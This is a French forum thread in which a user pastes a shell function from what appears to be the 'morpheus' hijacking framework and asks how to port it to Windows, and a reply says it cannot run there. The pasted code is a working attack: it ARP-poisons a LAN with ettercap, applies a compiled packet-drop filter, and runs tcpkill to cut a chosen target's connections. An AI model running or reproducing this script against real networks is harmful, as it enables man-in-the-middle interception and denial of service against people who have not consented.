Bonjour, j'ai un petit script en sh que j'aimerai rendre utilisable sur internet voici le script (en deux partie)
partie 1:
# -------------------------------------------
# DROP/KILL TCP/UDP CONNECTION TO/FROM TARGET
# -------------------------------------------
sh_stage3 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will drop/kill any tcp/udp connections attempted ${BlueF}|"
echo "${BlueF} | ${YellowF} to/from target, droping packets from source and destination.. ${BlueF}|"
echo "${BlueF} | ${YellowF} ${BlueF}|"
echo "${BlueF} | ${YellowF} 'This module uses etter filters and tcpkill to kill connections' ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
ch=`which tcpkill`
if [ "$ch" != "$TcPkiL" ]; then
echo ${RedF}[x]${white} tcpkill utility not found${RedF}!${Reset};
sleep 1
echo ${RedF}[x]${white} please Install:${RedF}dsniff${white} packet...${Reset};
sleep 3
sh_exit
fi
# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Edit packet_drop.eft${RedF}!${Reset};
sleep 1
fil_one=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
# replace values in template.filter with sed bash command
cd $IPATH/filters
sed -i "s|TaRgEt|$fil_one|g" packet_drop.eft # NO dev/null to report file not existence :D
cd $IPATH
zenity --info --title="☠ MORPHEUS SCRIPTING CONSOLE ☠" --text "morpheus framework now gives you\nthe oportunity to just run the filter\nOR to scripting it further...\n\n'Have fun scripting it further'..." --width 270 > /dev/null 2>&1
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/packet_drop.eft"
sleep 1
# compiling packet_drop.eft to be used in ettercap
echo ${BlueF}[☠]${white} Compiling packet_drop.eft${RedF}!${Reset};
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/packet_drop.eft -o $IPATH/output/packet_drop.ef && sleep 3"
sleep 1
# port-forward
# echo "1" > /proc/sys/net/ipv4/ip_forward
cd $IPATH/logs
# run mitm+filter
echo ${BlueF}[☠]${white} Running ARP poison + etterfilter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -L $IPATH/logs/packet_drop -M ARP /$rhost// /$gateway//
fi
else
if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -L $IPATH/logs/packet_drop -M ARP /$rhost/ /$gateway/
fi
fi
J'ai Kali Linux mais j'aimerais bien le rendre utilisable sous windows mais je suis pas sûr le pkg SH que j'ai (de termux) fonctionne sur terminale PC et puis il faut un Root
dabigben
Messages postés1914Date d'inscriptionvendredi 23 novembre 2007StatutMembreDernière intervention13 octobre 2023179 5 août 2019 à 10:00
Ya pas de package bash que tu installe pour que bash soit reconnu dans CMD, ça ne marche pas comme ça.
Ton script .sh ne fonctionnera pas sous Windows c'est comme ça.
Il n'y a pas d'utilisateur root sous Windows.
Bref ça m'a l'air un peu mal parti ton histoire ^^
Trouvez des réponses à vos questions sur les langages, les frameworks et les astuces de codage. Échangez avec d'autres développeurs passionnés pour améliorer vos compétences en programmation et rester au fait des dernières tendances du secteur.
30 juil. 2019 à 14:33
30 juil. 2019 à 14:59
1 août 2019 à 16:19
Modifié le 1 août 2019 à 16:22
5 août 2019 à 10:00
Ton script .sh ne fonctionnera pas sous Windows c'est comme ça.
Il n'y a pas d'utilisateur root sous Windows.
Bref ça m'a l'air un peu mal parti ton histoire ^^